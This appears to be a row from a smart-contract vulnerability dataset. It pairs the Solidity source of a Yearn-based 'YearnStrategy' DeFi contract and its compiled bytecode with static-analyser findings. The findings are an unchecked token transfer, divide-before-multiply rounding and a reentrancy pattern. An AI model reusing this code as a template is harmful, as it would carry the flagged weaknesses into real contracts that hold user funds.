* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IStakeAndYield {
function getRewardToken() external view returns(address);
function totalSupply(uint256 stakeType) external view returns(uint256);
function totalYieldWithdrawed() external view returns(uint256);
function notifyRewardAmount(uint256 reward, uint256 stakeType) external;
}
interface IController {
function withdrawETH(uint256 amount) external;
function depositForStrategy(uint256 amount, address addr) external;
function buyForStrategy(
uint256 amount,
address rewardToken,
address recipient
) external;
}
interface IYearnVault {
function depositETH() external payable;
}
interface IYearnWETH{
function balanceOf(address account) external view returns (uint256);
function withdraw(uint256 amount, address recipient) external returns(uint256);
function pricePerShare() external view returns(uint256);
function deposit(uint256 _amount) external returns(uint256);
}
interface IWETH is StakedToken{
function withdraw(uint256 amount) external returns(uint256);
}
contract YearnStrategy is Ownable {
using SafeMath for uint256;
uint256 public lastEpochTime = 1620335339;
uint256 public lastBalance = 392215935619542515040 ;
uint256 public lastYieldWithdrawed;
uint256 public yearFeesPercent = 0;
uint256 public ethPushedToYearn = 94300177096461933086;
IStakeAndYield public vault;
IController public controller;
IYearnWETH public yweth = IYearnWETH(0xa9fE4601811213c340e850ea305481afF02f5b28);
IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public operator;
uint256 public minRewards = 0.01 ether;
uint256 public minDepositable = 0.05 ether;
modifier onlyOwnerOrOperator(){
require(
msg.sender == owner() || msg.sender == operator,
"!owner"
);
_;
}
constructor(
address _vault,
address _controller
) public{
vault = IStakeAndYield(_vault);
controller = IController(_controller);
}
// Since Owner is calling this function, we can pass
// the ETHPerToken amount
function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{
uint256 balance = pendingBalance();
//require(balance > 0, "balance is 0");
uint256 withdrawable = harvest(balance.mul(ETHPerToken).div(1 ether));
lastEpochTime = block.timestamp;
lastBalance = lastBalance.add(balance);
uint256 currentWithdrawd = vault.totalYieldWithdrawed();
uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed);
if(withdrawAmountToken > 0){
lastYieldWithdrawed = currentWithdrawd;
uint256 ethWithdrawed = withdrawAmountToken.mul(
ETHPerToken
).div(1 ether);
withdrawFromYearn(ethWithdrawed.add(withdrawable));
ethPushedToYearn = ethPushedToYearn.sub(ethWithdrawed);
}else{
if(withdrawable > 0){
withdrawFromYearn(withdrawable);
}
}
}
function harvest(uint256 ethBalance) private returns(
uint256 withdrawable
){
uint256 rewards = calculateRewards();
uint256 depositable = ethBalance > rewards ? ethBalance.sub(rewards) : 0;
if(depositable >= minDepositable){
//deposit to yearn
controller.depositForStrategy(depositable, address(this));
ethPushedToYearn = ethPushedToYearn.add(
depositable
);
}
if(rewards > minRewards){
withdrawable = rewards > ethBalance ? rewards.sub(ethBalance) : 0;
// get DEA and send to Vault
controller.buyForStrategy(
rewards,
vault.getRewardToken(),
address(vault)
);
}else{
withdrawable = 0;
}
}
function withdrawFromYearn(uint256 ethAmount) private returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 sharesToWithdraw = ethAmount.mul(1 ether).div(
yweth.pricePerShare()
);
require(yShares >= sharesToWithdraw, "Not enough shares");
return yweth.withdraw(sharesToWithdraw, address(controller));
}
function calculateRewards() public view returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 yETHBalance = yShares.mul(
yweth.pricePerShare()
).div(1 ether);
yETHBalance = yETHBalance.mul(1000 - yearFeesPercent).div(1000);
if(yETHBalance > ethPushedToYearn){
return yETHBalance - ethPushedToYearn;
}
return 0;
}
function pendingBalance() public view returns(uint256){
uint256 vaultBalance = vault.totalSupply(2);
if(vaultBalance < lastBalance){
return 0;
}
return vaultBalance.sub(lastBalance);
}
function getLastEpochTime() public view returns(uint256){
return lastEpochTime;
}
function setYearnFeesPercent(uint256 _val) public onlyOwner{
yearFeesPercent = _val;
}
function setOperator(address _addr) public onlyOwner{
operator = _addr;
}
function setMinRewards(uint256 _val) public onlyOwner{
minRewards = _val;
}
function setMinDepositable(uint256 _val) public onlyOwner{
minDepositable = _val;
}
function setController(address _controller, address _vault) public onlyOwner{
if(_controller != address(0)){
controller = IController(_controller);
}
if(_vault != address(0)){
vault = IStakeAndYield(_vault);
}
}
function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{
require(addr != address(0));
payable(addr).transfer(amount);
}
function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
StakedToken(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637ce68611116100de578063b3ab15fb11610097578063d02e27ac11610071578063d02e27ac14610348578063f2fde38b14610365578063f77c47911461038b578063fbfa77cf146103935761018e565b8063b3ab15fb146102e4578063b3f5e0081461030a578063ba522458146103405761018e565b80637ce68611146102b457806388c41789146102bc57806389c614b8146102c45780638da5cb5b146102cc5780638f014f18146102d45780638f1c56bd146102dc5761018e565b80633e50de301161014b578063570ca73511610125578063570ca7351461026e57806357b4d18e14610276578063715018a61461027e5780637b7d6c68146102865761018e565b80633e50de30146102255780633fc8cef31461022d5780635487c577146102515761018e565b806302abcb3b1461019357806315945006146101b257806316caf8c7146101de57806317fe6e09146101f85780632d7c071e1461021557806334535ee11461021d575b600080fd5b6101b0600480360360208110156101a957600080fd5b503561039b565b005b6101b0600480360360408110156101c857600080fd5b50803590602001356001600160a01b03166103f8565b6101e661049e565b60408051918252519081900360200190f35b6101b06004803603602081101561020e57600080fd5b50356104a4565b6101e6610501565b6101e6610507565b6101e661050d565b610235610664565b604080516001600160a01b039092168252519081900360200190f35b6101b06004803603602081101561026757600080fd5b5035610673565b61023561080e565b6101e661081d565b6101b06108c5565b6101b06004803603604081101561029c57600080fd5b506001600160a01b0381358116916020013516610967565b6101e6610a19565b6101e6610a1f565b6101e6610a25565b610235610a2b565b610235610a3a565b6101e6610a49565b6101b0600480360360208110156102fa57600080fd5b50356001600160a01b0316610a4f565b6101b06004803603606081101561032057600080fd5b506001600160a01b03813581169160208101359091169060400135610ac9565b6101e6610ba2565b6101b06004803603602081101561035e57600080fd5b5035610ba8565b6101b06004803603602081101561037b57600080fd5b50356001600160a01b0316610c05565b610235610cfd565b610235610d0c565b6103a3610d1b565b6000546001600160a01b039081169116146103f3576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b600c55565b610400610d1b565b6000546001600160a01b03908116911614610450576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b6001600160a01b03811661046357600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610499573d6000803e3d6000fd5b505050565b60035481565b6104ac610d1b565b6000546001600160a01b039081169116146104fc576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b600b55565b600c5481565b600b5481565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561055d57600080fd5b505afa158015610571573d6000803e3d6000fd5b505050506040513d602081101561058757600080fd5b505160085460408051634ca9858360e11b8152905192935060009261061f92670de0b6b3a764000092610619926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b1580156105e657600080fd5b505afa1580156105fa573d6000803e3d6000fd5b505050506040513d602081101561061057600080fd5b50518590610d1f565b90610d81565b90506106406103e86106196004546103e80384610d1f90919063ffffffff16565b905060055481111561065a57600554810392505050610661565b6000925050505b90565b6009546001600160a01b031681565b61067b610a2b565b6001600160a01b0316336001600160a01b031614806106a45750600a546001600160a01b031633145b6106de576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60006106e861081d565b9050600061070a610705670de0b6b3a76400006106198587610d1f565b610dc3565b4260015560025490915061071e9083610f95565b60025560065460408051633caef61b60e21b815290516000926001600160a01b03169163f2bbd86c916004808301926020929190829003018186803b15801561076657600080fd5b505afa15801561077a573d6000803e3d6000fd5b505050506040513d602081101561079057600080fd5b50516003549091506000906107a6908390610fef565b905080156107f657600382905560006107cb670de0b6b3a76400006106198489610d1f565b90506107df6107da8286610f95565b611031565b506005546107ed9082610fef565b60055550610807565b82156108075761080583611031565b505b5050505050565b600a546001600160a01b031681565b6006546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b15801561086e57600080fd5b505afa158015610882573d6000803e3d6000fd5b505050506040513d602081101561089857600080fd5b50516002549091508110156108b1576000915050610661565b6002546108bf908290610fef565b91505090565b6108cd610d1b565b6000546001600160a01b0390811691161461091d576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61096f610d1b565b6000546001600160a01b039081169116146109bf576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b6001600160a01b038216156109ea57600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03811615610a1557600680546001600160a01b0319166001600160a01b0383161790555b5050565b60055481565b60045481565b60015481565b6000546001600160a01b031690565b6008546001600160a01b031681565b60025481565b610a57610d1b565b6000546001600160a01b03908116911614610aa7576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610ad1610d1b565b6000546001600160a01b03908116911614610b21576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b505050506040513d602081101561080757600080fd5b60015490565b610bb0610d1b565b6000546001600160a01b03908116911614610c00576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b600455565b610c0d610d1b565b6000546001600160a01b03908116911614610c5d576040805162461bcd60e51b81526020600482018190526024820152600080516020611351833981519152604482015290519081900360640190fd5b6001600160a01b038116610ca25760405162461bcd60e51b815260040180806020018281038252602681526020018061130a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6006546001600160a01b031681565b3390565b600082610d2e57506000610d7b565b82820282848281610d3b57fe5b0414610d785760405162461bcd60e51b81526004018080602001828103825260218152602001806113306021913960400191505060405180910390fd5b90505b92915050565b6000610d7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061120d565b600080610dce61050d565b90506000818411610de0576000610dea565b610dea8483610fef565b9050600c548110610e725760075460408051637803ec9360e11b81526004810184905230602482015290516001600160a01b039092169163f007d9269160448082019260009290919082900301818387803b158015610e4857600080fd5b505af1158015610e5c573d6000803e3d6000fd5b5050600554610e6e9250905082610f95565b6005555b600b54821115610f8957838211610e8a576000610e94565b610e948285610fef565b600754600654604080516369940d7960e01b815290519396506001600160a01b0392831693637fc0953193879316916369940d79916004808301926020929190829003018186803b158015610ee857600080fd5b505afa158015610efc573d6000803e3d6000fd5b505050506040513d6020811015610f1257600080fd5b5051600654604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050610f8e565b600092505b5050919050565b600082820183811015610d78576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610d7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112af565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d60208110156110ab57600080fd5b505160085460408051634ca9858360e11b81529051929350600092611137926001600160a01b0316916399530b06916004808301926020929190829003018186803b1580156110f957600080fd5b505afa15801561110d573d6000803e3d6000fd5b505050506040513d602081101561112357600080fd5b505161061986670de0b6b3a7640000610d1f565b905080821015611182576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b60085460075460408051627b8a6760e11b8152600481018590526001600160a01b0392831660248201529051919092169162f714ce9160448083019260209291908290030181600087803b1580156111d957600080fd5b505af11580156111ed573d6000803e3d6000fd5b505050506040513d602081101561120357600080fd5b5051949350505050565b600081836112995760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125e578181015183820152602001611246565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816112a557fe5b0495945050505050565b600081848411156113015760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561125e578181015183820152602001611246565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212204f50d2ee479e82ee7c440def69daeeb86528b4b66f6029da882249e59d389c7364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.